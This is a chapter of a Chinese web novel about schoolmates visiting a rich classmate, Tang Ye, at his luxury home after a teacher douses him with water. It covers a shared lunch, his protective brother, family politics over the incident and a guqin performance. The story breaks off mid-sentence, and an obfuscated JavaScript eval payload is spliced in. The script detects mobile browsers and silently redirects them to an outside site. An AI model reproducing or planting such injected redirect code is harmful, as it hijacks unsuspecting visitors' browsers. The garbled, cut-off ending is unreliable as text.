“他们家是不是做大生意的?住得这么豪华。”袁雅维小声在何嘉南耳边说道。 “应该是,有钱人。你不看我生日时他出手就送我一个iPad,当时吓死我了。” 出了电梯就到了楼梯间。没想到外表看上去这么大的一栋大楼,上来竟然是一梯一户。大叔一边按响了门铃,一边在右手边的柜子里拿出三双拖鞋,优雅的摊手请他们坐在椅子上换拖鞋。 “请问您是唐晔的爸爸吗?”看他的风度举止,与唐晔很像,袁娅维就好奇地问道。 “不是。我姓方,是他爷爷的助手,看着他长大。冒昧问问,你是袁处长的千金吧。”大叔微笑着不着痕迹地打量一下袁雅维。 “嗯是呀,请问您怎么知道的?您认识我爸爸?” “老伙计喽!令尊年轻时就是美男子,你与令尊眉眼很像。向他问问方源,他就知道了。”方源笑咪咪地说。 这时里面的人已经把门打开了。“这边请进。”方源做了个请的手势,然后率先迈进门,一边着急地问开门的身材高大的中年阿姨:“人呢?” 那阿姨回答:“十一点半回到了,全身湿的像是从水里捞出来似的、冷得一直在颤抖。放了热水给他泡澡呢。” 方源又问:“他的腰不是前天晚上才受伤了吗?能碰水?” “医生说腰那儿问题不大,可以洗澡。那您说不泡热水能咋样啊,用暖风机吹他又干得呛到他咳嗽,空调又很难一下子升温……都不知是些什么人!把他弄成那样!”阿姨愤愤的说。“麻烦您先招呼着同学,我正在煮姜汤水呢!” 方源皱着的眉头稍舒展一些,连忙招呼着何嘉南和袁雅维进去客厅坐。 看来家长很心疼很生气,但没有迁怒自己。袁雅维心想。 饶是刚才已经见识过了这栋大楼的大堂和奢华低调的电梯,他俩也为这个住宅的空间和面积给小震撼了一下。复式镂空的大厅,面积相比教室只大不小,其中三面各有一个长条宽阔的沙发,一看见就有让人想躺上去打滚的冲动。冬日正午的暖阳把客厅落地玻璃窗外的阳台上种着的巨大的绿掌的影子投进屋里,给偏冷色的大厅添了些许动感。有个人正站在落地大玻窗前,迎着光看向外面。 袁娅维看清了那个女孩,不由叫道,“张宇,你怎么还在这儿?” 客厅中间的高个子女孩转过脸,果然是刚才扶着唐晔离开学校的张宇。 “谁呀?”何嘉南小声问她。 “就是那个叫张宇的转学生呗,四班的。刚才就是她带唐晔走的。”袁娅维也小声回答他。 “你们俩怎么会来?”这个叫张宇的女生,高亢声音里带着嘲弄,就像看穿她是带着什么目的一样。 袁娅维有点讨厌她的语气,“我们为啥不能来呀,我们是他的同班同学,来看看他!” 张宇没有说话,只是好像洞息了一切似的,对她笑了笑。 “想必您就是张家小姐吧。您好,我是老唐总的助理方源,以前也曾有幸见过家祖和令堂。” “方总助,久闻大名。”张宇傲然应道。 啥?他们家的父母辈就认识了?惨了惨了要被偷家了……某小女生有点着急。 阿姨端了一个托盘,托着两个装着温开水的玻璃杯放在他们面前说,“请坐,喝点水。两位还没吃午饭吧,小朋友吃饭前喝饮料对身体不好,阿姨我自作主张为两位倒了温水。请稍等一下,小晔少爷很快出来。” 少爷?这称呼好像古装剧呀,袁雅维觉得有点好笑,“原来您不是唐晔的妈妈?” “哈哈,这怎么敢!我是照顾他们两兄弟的保姆。”阿姨笑着进去了。 斜对面的张宇看着他们,又摆出那种“我知道一切但就是不告诉你的神情”说道,“你们还不知道唐晔是谁吧?” “他是谁我们自己会问他,不用你多事!”袁雅维真心不喜欢这女的! 方总看穿了袁处长家这可爱小千金的心思,也不说破,笑了笑说,“同学们,请问有什么忌口的吗?我点个餐。” “不用不用,我们看看他就走。”袁雅维客气道。 “辛苦你们饭都没吃就跑过来。没事,大家都要吃的,少爷突然回来,阿姨要伺候他,来不及准备东西,失礼了。” 他再次询问了他们的口味,在手机上快速下了单,就合上手机,坐到第三面沙发上:“对了,请问一下几位同学,刚才上课时,究竟发生了什么事?” 袁雅维见张宇没动嘴的意思,何嘉南又是听人转述的不好开口,她正想说话,忽然听到右手边的走廊里有人叫着他们名字:“何嘉南,袁雅维,你们来了?” 他们俩站了起来,看向声音的方向。 唐晔从灯光稍暗的走廊里慢慢走出来。只见他穿着紫色的厚晨袍,里面是一套白色交领的中式睡衣,左手在身后扶着腰,走路略有点拐。可能是刚泡完澡、头发刚吹过的缘故,平时长长的发荫梳到后面,露出雪白光洁的额头,一双眼角略下垂的深邃的大眼睛更显得明亮,脸蛋却难得一见的红扑扑,嘴唇也鲜亮润泽。 阿姨追在他身后:“我给你把衣服系好。” 唐晔略有点不耐烦地甩甩手,“好热,不要。”声音慵懒。 “仔细又踩到带子摔了。”块头儿略大的阿姨也很坚持,差点没把瘦削的唐晔拦腰抱住,唐晔很生气地瞪了她一眼,最终他们俩还是相互妥协——阿姨让他敞着晨袍前面,但帮他把带子在身后系成短短的蝴蝶结。 “方伯伯。” 方源早已站起,向自家小少爷问道,“您现在觉得怎样了?” “好多了,不冷了。” “腰上的伤还很疼吧?” “泡完热水后有点。没事,缓一会儿。”他径自走到大厅中间挨在沙发上,又招呼自己两位好友坐下。 阿姨又转头从里面端出一小碗姜水,一边走一边轻轻翻搅着降温,等到温度适合就递给唐晔。 唐晔盯着碗,嫌弃地皱了皱眉,接过放到一边。 阿姨还想劝说,方源向她摆摆手让她先离开。阿姨嘟嘟囔囔的进了厨房。 方源又问:“您刚才在学校里发生什么事,能详细说说吗?” 唐晔把事情的起因说了一遍,“……后来我解释了,腰疼弯不下去,她就以为我撒谎,就拿起水冲过来淋我了。”他捏着怀里的抱枕,平静地诉说着,“今天我才第一次见到她,她问什么,我也好好跟她解释了,但就像我踩到她尾巴似的一直针对我。”但话到了最后,还是忍不住委屈似的,音调往上飘着。 “对了,今早她看到你迟到了又不晨跑,那时她就已经在问我们班的人知不知道你是谁了?其实她发问那时,我已经告诉过她你免修体育,让她问你们冯老师。不过她看起来就是不太相信的样子。我本来说想课间告诉你一下让你提防着,结果这几个课间在忙,就把这事忘了……”何嘉南看他弄成这样,觉得惭愧,都是自己没重视这件事的原因。 唐晔对他摆摆手说,“不关你的事,该来的总会来,你提醒也没用。她作为任课老师,上课时让人叫我去操场其实也无可厚非。但是,我最恨的就是她一开始就抓两个班的同学去跑步、跑到我来为止,用这样的方式威胁我!” “她这么做当然不对,但你打算怎么办呀?我听说——只是听说哈,她似乎很有背景。”袁雅维很担心他万一得罪老师,被迫转学什么的。 “她的亲叔叔是教育局的官员。”张宇在一旁补充道,看起来不置可否、一点儿也没为唐晔担心。 “我爸和高教厅的人比较熟,和教育局的不一定有交情,不知是否能帮上忙。”何嘉南也很担心,没留意方源深深看了他一眼。 “……”唐晔似乎坐得不太舒服,调整一下坐姿,好整以暇地说着。 这时门铃响起,阿姨从厨房里小跑出去开门,原来是餐品送到。阿姨和头戴白色厨师帽、身穿干净整洁的黑色制服的送餐员一起把餐品从送餐车里拿了出来,一盘一盘摆好在位于大厅后面餐厅里的八人长餐桌上,再从厨房里拿出配套的餐具摆放整齐,才招呼他们四人过来吃饭。 唐晔带同学们到饭厅,张宇紧跟在他身边,又毫不客气先在他左手边的位置一屁股坐了下来,丝毫不扭捏。 唐晔又笑着招呼,“你俩快过来呀,没吃饭就专门跑来,饿坏了吧。”他指了指自己对面和张宇对面的两个位置说,“坐这儿呀!” 何嘉南前几周知道袁雅维对唐晔的意思,便自然地拉开张宇对面的椅子坐下来。 袁雅维微红着脸,坐到自己的男神对面。 只见刚才送餐车上送来的并不是一般的塑料外卖盒,餐桌上是一个个木制的深色餐盒,打开餐盒盖子,食物好好地被安放在餐盒里的白色镶两条细金边的薄瓷盘子上。 袁雅维留意到白瓷盘子的边缘有两个低调的暗纹字样,唐宴,她顺口调笑说,“唐宴?这酒家不会是你家开的吧?”唐晔笑笑不说话,反而是张宇故作神秘地说,“对呀,你去报他名字还能给你打到骨折呢!” 何嘉南哈哈大笑,袁雅维却瞪了自己好友一眼,气恼连何嘉南也背叛自己,对那女人笑。 食盒全部被打开,有一只白切鸡、一条清蒸桂花鱼、一份百合炒虾仁、一份白灼芦笋,再加上每人一盅黄芪炖乳鸽汤。只见白切鸡皮黄肉白,鱼肉蒸得恰到好处、打开时还冒着蒸气,虾仁个头大、晶莹剔透,而芦笋翠绿鲜嫩。虽说菜品是不久前刚点的,但精致程度不下于高档酒楼,看着就让人食指大动。 几个同学折腾到快一点,还真是饿了,他们大口喝着汤,吃着汤里的乳鸽肉。孩子们一边在吃,方源拿了个碗站在唐晔身边,夹了一块鱼腹,弯腰仔细挑着上面的刺。 唐晔小口喝完汤,却并不吃汤料,他看着桌上的几样菜品,一边用公筷漫不经心挑起一根芦笋放进碗里,一边皱眉说:“怎么今天没有水蛋?” “您最近累着,要多吃肉补一下。”方源说,“鸡肉和虾仁您都嚼得动,先吃着,鱼刺马上挑好了。” “啧,方总,您又是这样子搞!”阿姨出来收走汤碗一边说,“他都十几岁了,还当他几岁咩!有你们这样养小孩的!人家五六岁的都会自己吃鱼了,你们这样搞,他以后出去没人照顾还怎么活得下去!” 唐晔听阿姨这么一说,轻轻推开方伯伯拿筷子的手,赌气地说,“我不吃鱼!” 但他们的注意力很快被别的吸引住了——就在阿姨说五六岁小孩都会自己吃鱼时,大门开了,两个高瘦的男生从玄关走了进来。 7. 第 7 章 为首的扎着半丸子头的男生嚷道,“陈姨,您又顽皮了。我们就爱这么照顾他怎么着?” “二少爷回来了。” 唐晔转头看见他们俩,小脸舒展开来:“哥哥,你怎么回来了?柏文哥哥!” 何嘉南也叫道,“何柏文,你来干嘛?”他看向后面那个一直面带微笑的男生。 “还不是你跟我们说他弟被人泼了一身冷水回了家,这家伙担心得要死,就跷课回来了呗。我也就顺便跷个课来看看小晔咯。嘿,袁雅维!”何柏文在何嘉南另一边的空位上放下书包,跟着唐天在餐厅配套的洗手台那儿净了手。 “要不是保安啰哩八嗦的,我早回到了。你怎样了?”唐天擦干手上的水,俯身摸了摸弟弟的额头,“冷到了?没发烧吧?” “没有。” “那干嘛不吃东西?” “就不爱吃要嚼的,鸡和虾仁都那么硬。” “硬吗?明明做得很弹牙啊。”袁雅维小声对何嘉南说。 何嘉南也有点无奈:“这家伙还在换牙期,上次出去玩,吃着吃着就’吐血’了,没把我们吓得。” “哈?都十三岁了还换牙?”袁雅维好奇。 “他……”其实比我们小两岁,不过这个,何嘉南也不好跟袁雅维说。 “哥给你挑干净鱼刺,看谁还敢说话。”他在唐晔右边、餐桌的主位坐下来后,拿过装着鱼腩的碗,接过方源手里的筷子,也仔细地一根根剔起鱼刺,最后还把整张鱼皮剥下来后,才把干净白嫩的净鱼肉放到唐晔面前。 方源问:“二少爷,加几个菜?” “加吧,我俩都没吃呢。小晔爱吃蒸水蛋就给他点呀!再加个啥……何柏文,你想吃什么?” 何柏文表示都可以。 这时陈姨给两个刚到的男孩铺上碗筷,边说,“你们就使劲儿宠!他一点自理能力都没,以后怎么在社会上生存?” 唐天用手指轻轻敲着桌子说,“生存靠的是智慧,靠干家务的咩?再啰嗦让我妈炒了您……不,让您一直留在这儿,好好学着怎么照顾人。”他夹起一块鸡肉,大口吃了起来。 这时,坐在唐晔另一侧的张宇却生气地开口:“你们这样迟早把他养废!看看他上个楼梯都能摔成这样!” “他是我弟,就得宠着。”唐天刚吃完一块鸡,又夹起一个大虾仁放到碗里。“话说,你谁呀?!” “张宇,张恩国爷爷的外孙女儿。”唐晔代答。 “哦……张家的。你们张家不是在京城吗?跑来羊城干嘛?……还和我弟上同一个中学?考得上吗你?!”唐天质疑的眼神扫过张宇校服上绣着的校徽。 “我考不考得上关你啥事儿?话说我真烦你们唐家,把他一个男生当温室里的花儿来对待。”张宇一副恨铁不成钢的表情。 “这又关你啥事儿?哦也对,听说你们张家连女人都当男人养,怪不得你整个男人婆似的。……啧,吃个饭还能张这么大嘴。这位小姐姐就不同了,斯文大方。喂,张姐,学着点儿!”唐天与她针锋相对。 “懒得理你!”张宇对唐天翻了个白眼。她快速扒拉完碗里的饭菜,又喝了一大口水、咕噜噜吞下去,擦干净嘴巴,对身边的唐晔说,“喂,你有什么事记得随时给我信息。” “知道了,放心。” “我把你安全送回家就没什么不放心的,除了你这不省心的哥哥。走了!” 她大踏步走到沙发那儿拿回自己的书包,利落地转身走出去。到玄关那儿时,回头对着他们几个人神秘笑道:“袁雅维,加油哦,嘿嘿!”然后根本不给人机会反驳,爽快出了门。 “她说什么呢!加什么油!”袁雅维故意装傻。 唐天没头没尾笑着对她说,“某人不喜欢这种男人婆类型的。话说,小姐姐你叫啥名字?” “我叫袁雅维,是他的班长……我来看看他。”她被唐天有点放肆的眼神盯得怪不好意思的,才突然想起他应该就是自己闺蜜黎梓茵上次说过喜欢的那个男生。 没多久新点的菜又送了进门,还是如刚才那样低调又精致。清蒸排骨的腥味尽除,剁成半寸长、白嫩整齐地码在盘子里;彩椒炒牛肉配色丰富,牛肉滑而不韧;蒸水蛋上散落着雪白的新鲜瑶柱,都是简单的食材,却料理得非常考究。 袁雅维不由感叹,“哇,你们家平时都吃得这么精呀?这家店在哪?下次我也和爸妈一起去。” 唐天一边用勺子挖起一大块水蛋放到弟弟碗里,一边说:“这酒家就是配套这个楼盘开的,住户点菜就可以了,堂食的都是老爷子搞的惠民措施,你们想吃就来我们家好啦。” “什么惠民措施?” “就是当天的备菜没卖完的,晚上八九点之后就便宜出售呗” “你咋这么清楚?难道这家店真是你家开的?” “啊,是……” “配套在这么高级的楼盘里啊! 话说这楼盘配置这么齐全,多少钱一平方呀?”袁雅维表面问得随意、里面却心花怒放:男神原来一直住在这么高档的小区里,吃着这么精致的食物,享受着这么仔细的照顾,怪不得人长得那么好看,举止那么优雅。 “十来万吧,是不是,方伯伯?”唐天用黑色的公筷夹起另一块鸡肉放进碗里,说完一句话又换上象牙色的私筷吃了起来,眼神却示意着袁雅维换筷子夹菜。 方源轻轻点了点头。 “哇,那你们家那么大,得多少钱呀?你们爸妈不一起住吗?”袁雅维不由也学着他,说话时把筷子放下来。 “爸妈住珠江新城,不一起住。他们集团工作又忙,还要管我们?干脆眼不见心不烦送走。” “就你们俩住这么大的房子里?” “啊,上了中学,爷爷就让我们俩自己住在这个书院,比较有读书的氛围,老爷子是这么觉得啦。”唐天却有点儿不以为然。 这个书院是叫——万里书院!……唐宴……万里……唐家……唐万里?“你们的爷爷不会是唐万里吧?!”袁雅维把这些字眼儿随口组合起来。心想,不会吧? “……啊,嗯……” 不会吧?!南方地产之王——唐万里?!是他们的爷爷?!资产排名仅次于北方王氏的唐氏家族?!他们是唐万里的孙子?! 何氏兄弟和袁雅维都停住手上的一切动作,定定看着唐天。 知道他们家是做生意的,看出他们家做大生意,猜到他们家做很大生意,只是没想到,大成这样。 好吧,我算是终于明白张宇说的“你还不知唐晔是谁”的意思了。袁雅维心想。 “吃饭!”唐晔从刚才就一直低着头,在把水蛋里的瑶柱块一点一点挑出来。 “你干嘛?”唐天这才注意到他的动作,马上按住他的右手。 “腥!” “甜的!” “不吃!” “小晔!你这辈子不能只吃鸡蛋活着!”这下连唐天也忍不住骂他,“别那么任性!” 唐晔轻轻挣脱开他的手,又继续执着地挑着。 唐天放下筷子,紧紧抓住他的右手腕,与刚才的温和完全不一样,他换了一副强迫与霸道的面孔命令:“不准挑,给我吃下去!”小晔,我只是想你更好!为什么你要这么不听话?而这些话,他唐天是说不出口的。 唐晔不安地转着手腕,使劲想抽回自己的手,但唐天力气要比他大很多,唐晔手臂都被扯红了,轻声喊“疼!”唐天却完全没有松手的意思。 方源默默站在一边。他看着唐晔长大,但唐万里多次警告他,两兄弟的问题让他们自己解决,不可插手。 唐天见弟弟已柔声下气,便放松了一些,他刚想说话—— “哎,我们比赛一下谁吃得快呗?”何嘉南举起手里空掉的饭碗,“方伯伯,请问还有吗?” 袁雅维不愧是跟何嘉南多年好友,她也想起,逢年过节回家乡时,和表弟表妹们抢东西吃,大家都吃得又快又多,她马上说,“这样吧,举行吃饭速度大比拼,你俩对我们仨。” 何柏文不置可否地笑笑,“这公平吗?” “就唐晔这食量,连女生都比不上,他只能算半个。”袁雅维渐渐放开。 “但你可不小啊!”唐天渐渐融入了他们的气氛,他放开了弟弟的手,揶揄了一下这开朗的女孩子。 “谁说,那是因为这儿的饭菜太好吃了!接受挑战吗?” “谁怕谁呀!”唐天毫不相让。 “唐晔,你可别拖后腿!”何嘉南和袁雅维同时叫道。 唐晔已然收起刚才的委屈,浅浅地笑了:“好!” 他们让陈姨拿来五个碗,把剩下所有食物平均分成五份。何柏文吐槽:“哎,本来人家摆盘那么好看,非得弄得像学校饭盒那样一份份的,服了!” 毕竟是年轻孩子,大家的饭菜碗很快就全见了底。陈姨也拼命表扬:“今天三少爷吃饭真乖。同学,你们多点来!你们来了他就不挑食了。” “小孩吗你?还挑食?” “哎,三少爷,你难道只有3岁?”两位同窗你一言我一语。 唐晔恼羞成怒:“陈姨,没您的事!您进里面去!不准出来!” “好好好! 我可不敢管你!”她笑着清理完桌面就进了厨房。 “你家阿姨那么好,又没有爸妈管你们,真是天堂啊!”其他人纷纷对两兄弟表示。 饱餐一顿后一看,时间已经逼近两点。何嘉南和袁雅维一看钟就惊呼,“不好!要回去了。” 方源笑着对他们说:“何院长公子和袁处长千金,我已经向你们老师请过假了,你们尽管放心在这休息一个下午吧。” “真的吗?太好了!”袁雅维巴不得还在这儿玩久一点呢。 只有何嘉南发现这位伯伯对自己的称呼已经变了。“方伯伯,您这么厉害,那也一定能帮唐晔要求梁老师道歉吧?!”何嘉南似乎对他很有信心。 方源仍然微笑着,但却没有马上给出肯定的答复:“三少爷学校的事,会有另外一位同事专门负责。” 唐天带大家洗干净手便要带他们参观自己的家。刚才在吃饭比赛中结下的友谊,使原本有点害羞的袁雅维也开朗起来,跟着男生们一起涌进位于大厅右侧的、刚才房门紧闭的那个大房间。 推开房门,好家伙!这怕比整个教室还要大吧,中间最显眼的是一整套架子鼓,沿着墙挂着好几把吉他什么的,靠着落地玻璃窗是一架钢琴,另外还有一架电子琴。靠墙竖着几个乐谱架,还有个书架,上面有好些书和文件夹。他们几人纷纷赞叹:“这些乐器好齐全,怕是不亚于专业人员了吧!” “当然,这都是我攒了好久的零花钱,一件件收集起的,我有几个做音乐的朋友,周末时会过来一起玩。”唐天指了指钢琴:“除了这个是我妈从小让我学的之外。”他随手拿起一把吉他,马上就像换了个人一样,一边拨弄钢弦弹着去年很流行的那首we are young一边和他们说话,随意而潇洒。 “你唱得挺好啊,以后想当歌手?” “想!当然想!……哎,人生不如意十有八九。不说了。” “不会吵到邻居吗?” “这墙和地板有隔音,不过,我们有邻居吗? ”唐天反问。 “也对……那楼下呢?” “楼下那两层也是我们的。小晔本想自己住,但我舍不得他自己一个人,而且阿姨照顾起来也很不方便啊。所以我俩都住顶楼,下面两层暂时空置。——他房间在二楼对面,放心,知道你想参观我弟的房间,等下带你过去。”他笑嘻嘻地看了一眼袁雅维。 “你……你别乱讲!哎,唐晔呢?”袁雅维害羞的样子也挺可爱。 大家才发现唐晔并没有一起进来。 原来唐晔还在餐厅、被陈姨“留堂”喝姜糖水呢,他一边啜饮一边小声问道:“方伯伯,您看,张宇、以及别的同学也觉得我不应该任由那老师欺负,您觉得,爷爷会帮我吗?” “少爷,您爷爷非常疼爱您的。”方源皱眉,担忧地看着这孩子。 “嗯,我相信是。”小少年像是在说服自己似的。 音乐室内。 “哎,这是什么呀?一个洞?通向楼上?还挂着一条攀爬绳?”唐天的音乐室里,他们三个指着房间一角、天花板上的一个扇形的洞口,以及貌似是从上一层楼垂下来的一根粗大的麻绳。 “哈哈哈,就是攀爬绳。这个就是我房里最引以为傲的设计了。看我的!”唐天放下吉他,两手手指互相交叉压了压手掌,像体育课做准备运动一样,又甩了甩手臂。“来,给哥计个时!” 随着他自己喊开始,他伸直双臂、握住绳子向上一跃,两腿也上下勾着这条粗绳子、像那些特工一样往上爬,通过洞口后,他两手臂往上面一支撑,其中一只脚往墙面一蹬借一下力,另一条腿趁机缩进洞口,再迅速把蹬墙的腿也缩了进来。唐天一边大喊:“停!”一边从洞口探出脑袋:“怎样?多少秒?” 袁雅维看了看手机,“48秒!” “呀,竟然慢了那么多!该不会我喊停了你没停吧?” “还不如说你中午吃胖了呢?” “上面是哪呀?” “我卧室。你们也试下这样爬上来?你先来,何柏文。” 何柏文也学着他刚才的样子,压一压手掌,又抢了抡胳膊,“也帮我计个时。” 何嘉南悄声在袁雅维耳边说,“等下他喊停,给他加20秒!” 这悄悄话说得连当事人也听到了,“何嘉南你找死是不?信不信我等下踩你肩膀上去!”何柏文马上反击,朝何嘉南的小腿虚蹬了一腿,何嘉南一躲开又朝他肩膀虚晃一拳。 毕竟何柏文第一次玩,一开始不太会用脚卷住绳子,唐天握住他的手给他借个力拉出地板的洞口,又得意地笑了笑,“第一次很不错啦。” 上面两个男孩对着下面的一男一女叫嚣,“喂,省实的两个,你们行不行啊!” “我的中二之魂在熊熊燃烧!”袁雅维咬牙切齿说,“我先来!”随即又小声地在何嘉南耳边说:“那个,等下我要是上不去,能不能真的借个肩膀给我踩一踩借个力?” 何嘉南笑笑,投给她一个放心的眼神。 “磨蹭什么呀,不行就换你们学校另一个男生上!”何柏文嘲笑着。 “换我弟上呀?那他们就死定了。那家伙运动全废好不!对了,要是给方伯伯听到,说不定跑到爷爷那去告我状呢,我家那老爷子不给他玩这些的,不是写毛笔字就是画国画,要不就是考他背古文,简直了!幸亏我是在我爸妈家长大。” “这都行!”这是现代人么? 他们爬了上去,大家环视着唐天的房间,“你晚上不会从这洞里掉下去吗?” “不会呀!我又不关灯。” “不关灯,睡得着吗?” 唐天笑而不答。 就这个洞口不远有个沙发,又放着把吉他,沙发前有张非常厚的地垫,看着柔软极了,上面凌乱堆着一些英语杂志,翻了翻全是与音乐有关,沙发另一侧有个边桌,上面除了杂志,还有些五线谱的纸,有些已写了好几行甚至满满一页纸。 “我自己作的曲子。”唐天有点得意地解释,“不过还没想得很完美,所以没拿下去给朋友们看。” 袁雅维学过弹钢琴,她本来挺喜欢的,但到了五年级作业毕竟多起来,就没坚持下去。她抱怨说,“也是只有你们家这种条件,才能让你自由自在做自己想做的东西。” “怎么会自由!你想多了!” 何柏文一屁股坐在唐天床上,看到床上、床边堆满玩偶,笑道,“你个男的这么喜欢抱着毛公仔睡觉啊?” 唐天从床头抱起一只巨大的纯白玩偶砸向他,“大白大胸攻击!介绍一下,这是我的床伴,大白!迪尼新片的周边……我也不自由啊,自由个屁!我妈把我逼得很紧,以前每天在家累得想死!” “呃?”三个同学不知道怎么答话。 唐天笑了笑,“很奇怪?谁叫身边有个人,从不用努力,学什么都很轻松,做什么都能做得很完美,嗯除了运动是很差劲,有时候,真的很想跟他交换一下……”他一边说着,一边轻轻放下大玩偶、走到一扇窗子前,他无意识地扫了一眼窗外,突然像见到鬼似的眼都直了,捂着嘴巴马上蹲在窗前的地板上。 “搞什么鬼?”三个人赶紧过去。 唐天一边比划着让他们赶紧蹲下再挪过来,另一只手放在嘴边嘘着让他们别出声。他们按唐天的要求,小心翼翼地隔着玻璃、露出半个脑袋、透过玻璃看去。 原来,这是一个内窗,外面是刚才的大厅上层的镂空。他们又小心翼翼蹲高一点点,向楼下的大厅张望。 只见唐晔坐在沙发上,刚才的方伯伯站在他身侧。他面前的却站着另一个中年男人。中年男人背对着唐天房间的这个内窗,看不到脸,但从他的手和全身的动作来看,正对着唐晔说着什么。 “你家玻璃的隔音也太好了!”袁雅维见唐晔的表情很不高兴,不由得抱怨:“啥也听不见!这窗子能开的吧?” “能开,别开!” “反正隔音,那我们干嘛还这么小声说话,”何柏文说,“谁呀那人?你干嘛那么怕他?” “刘叔,我妈的秘书。我妈要是知道我逃课回家了,周末还不把我揍死!” 刘秘书带来了唐太太的话。妈妈归秀兰的意思,让唐晔当众给老师道个歉,这件事就算揭过。 唐晔努力压抑着自己的声线,平静地问刘秘书,“妈妈是否知道了整件事呢?她问过我吗?” “三少爷,我们去动一个老师不是很困难的事,但您也知道,越大的家族,一出现什么风吹草动,越容易引起口碑问题。您要让唐家陷入丑闻吗?” “刘秘书,容我插一句话……”方源在一旁看不下去了。 刘秘书举手打断他,“方总,这件事,刚才老太爷已经在电话中与夫人沟通好了,老太爷不插手。平时我一定会而您多多请教,但这事,不是你我说了算,是夫人说了算。” “那就别说了。”唐晔闭上眼睛,忍受着席卷着内心的荒芜。他懒得再废话,站起来转身上楼梯。 刘秘书见他离开,才压低声音对方源说,“方哥,我也是为难,他能听进您的话,您帮劝劝。” 方源苦笑,“老弟,您觉得大太太的做法,合理吗?现在不是说唐家的孩子搞特殊,而是,一个学生被科任老师当众体罚的事……” “这件事怎么定性,还不是学校与夫人商量的结果吗?夫人摆明就不想和教育局的缠上。” “那就让三少爷他一个孩子忍着吗?” 他们几个同学隔着玻璃窗,又见到两个中年男人在大厅里掰扯了好一阵子。 袁雅维向二楼半封闭走廊那边看去,只见唐晔上了楼梯,站在二楼西侧的落地玻璃窗前看着外面。现在已是下午,阳光从窗外透进来洒在他身上,但袁雅维总是觉得这个披着紫色晨袍的男孩,既寒冷,又无助,他的身影萧条,就像站在一片什么都没有的旷野上。 他发了一小会呆,慢慢向半封闭走廊另一头走去,消失在她视线里。 刘秘书还是先离开了。方源紧接着上了二楼、但很快就下来了。他们几人大胆站起身张望,似乎看到连方伯伯也朝着大门口走了出去。 终于,家里几乎只剩下这群孩子们。 唐天估计是对母亲的管教怀有深深的恐惧,总是担心那个刘叔再次折返。他把自己的房门开了一条缝,小心翼翼聆听外面的一切声响。好一会儿,他才回头说,“没人了,又是我们自己世界。”他打开自己房间的正门。 外面是个半开放书房,中间有张面对面书桌,靠墙环绕着半圈书架,但书架上的书却稀稀落落的,偶尔有几本大本的都是字典、词典之类。 何柏文漫不经心地摆弄着左手边柜子上的动漫手办:“你俩不看书的呀?” 这时袁雅维听见那边传来一阵铮铮的弦乐声,她不由得往前走了好几步。 “这是什么声音?”何氏兄弟很好奇。 “是我弟在弹琴。等下,嘘!” “什么琴?”何嘉南不由得轻声问自己堂兄。 “就是古琴,……哇哦,他弹得挺好的啊!曲子感觉在哪听过?”何柏文小声回答。 袁雅维此时已经走过了走廊上刚才唐晔站着的那个落地玻璃窗。刚好风停了,刚才被风吹起的薄纱窗帘垂落下来,被遮挡的走廊另一头的景象呈现在她面前。 只见大概半个教室大的空间里有个高起一点的地台,地台三面环绕着矮柜,最右侧的矮柜上堆着很多一卷一卷的画轴,左边的矮柜上放着一个木制雕花笔架,上面挂着好几支笔。不知是不是刚才的风停而力却没停,还是在呼应着古琴发出的金石之声,它们在空气中轻轻地晃动。 最前面的中央,矗立着一座半透明的屏风,高度刚好挡住袁雅维的视线,让她无法清晰地看到里面的人。然而,从那人身上穿着的紫色外衣和纤瘦的轮廓中,她可以确定那就是唐晔。 她不由自主地向前走了几步,悄悄拿出手机稳稳地架在屏风上,开始拍摄起这唯美的一幕。 感觉到有人影靠近,坐在中式矮桌后面正在弹琴的男孩轻轻在琴弦上点了几下,缓缓停下手里的动作,抬头看了袁雅维一眼、又似乎完全没见到她。随即又侧着低下了头,准备弹奏另一段。 袁雅维一开始被他的深沉的眼神吓一跳,继而心跳不已,哇,这眼神好A呀!不愧是我的男神! 在古琴上方稍作停顿,随后他的两只修长而干净的手又继续在琴弦上轻巧地滑动或按压,动作开始还从容自由,逐渐越弹越快、他越来越激烈的拨动外侧的弦,左手配合着快速地在琴弦上滑动。 何氏两兄弟这时也悄声走到袁雅维身边,听他弹这一段,仿佛听到琴声中夹带了铿锵的兵器搏杀声。 袁雅维只觉得他真的好好看!弹得好好听!古代文人弹琴的画面感有了! 何嘉南在何柏文耳边说,“他在干嘛?意念杀人?” 何柏文似乎答非所问:“《广陵散》,之前跟我爸一起听过一些大师的演奏,没想到他能弹成这样。” 这时,唐天从他们身后快步冲出来,靠近弟弟之后,却仿佛被琴声止住了步伐。他在唐晔身边蹲了下来,伸手想触碰他却又犹豫地缩了手。 很快,唐晔以一个快速划过所有琴弦的动作结束了这一段弹奏。仿佛刚跑完一段长跑一样,他长长呼了一口气,偏头看了看唐天,勾起嘴淡然笑了笑,重新低头,两只手同时轻点琴弦又继续弹起来,一边轻声笑问,“哥哥怎么了?” “我才想问你怎么了?发生啥事了?” “啥事?没事呀!”他的声音轻柔,表情也很温柔,与两分钟之前的眼神杀截然不同。 “那你为什么这么……没什么。你啥时候会弹这首曲子的?之前好像没听你弹过?” “练习?我需要吗?”他翘翘嘴角,语气是他难得的狂傲。 几个朋友心里想,好吧、你的确不需要学习,但没想到你做别的事也能做得这么顺畅,真是人比人气死人! 一曲终了。唐晔抬手笑着对他们招招手:“你们站外面干嘛?进来呀!刚才是在哥哥房里玩吗?” 何家兄弟绕过屏风,都踏上他跪坐着的地台上。 唐晔笑着正想招呼还有点扭捏的站在屏风旁的袁雅维,正好这时,唐晔的手机响起。 唐天伸手从侧面的矮柜上递给他,顺便瞟了一眼:“我爸?!” 唐晔清了清嗓子,接起电话:“爸爸,您好。”语气恭谨。 “……是,今天在学校里,发生了些事,早早的回家了。” “……呵,爸爸,这个问题您怎么会来问我呀?” 他紧闭眼睛,不让自己的情绪从眼睛里泄露出来、让朋友们看见,却挺直腰板坐得直一些,让自己的话变得更加清晰,“爸爸,事情是这样的,我们的一位任课老师对我有所误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942741|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 